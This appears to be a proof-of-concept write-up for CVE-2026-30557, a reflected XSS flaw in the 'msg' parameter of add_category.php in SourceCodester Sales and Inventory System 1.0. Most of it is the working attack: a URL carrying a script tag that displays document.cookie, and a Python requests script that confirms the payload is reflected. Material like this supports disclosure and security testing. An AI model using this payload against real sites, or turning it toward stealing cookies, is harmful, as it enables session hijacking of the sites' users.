CVE-2026-30557 SourceCodester销售库存系统XSS漏洞

// PoC for CVE-2026-30557 Reflected XSS // Target: SourceCodester Sales and Inventory System 1.0 // Endpoint: add_category.php // Parameter: msg // Attack URL construction: // http://target-site.com/add_category.php?msg=<script>alert(document.cookie)</script> // Payload explanation: // The application takes the 'msg' parameter and reflects it on the page // without sanitization. The script tag executes the JavaScript, // popping up an alert with the victim's cookies. // Example Python Request Script: /* import requests url = "http://target-site.com/add_category.php" payload = {"msg": "<script>alert('XSS')</script>"} response = requests.get(url, params=payload) if "<script>alert('XSS')</script>" in response.text: print("Vulnerability Confirmed") */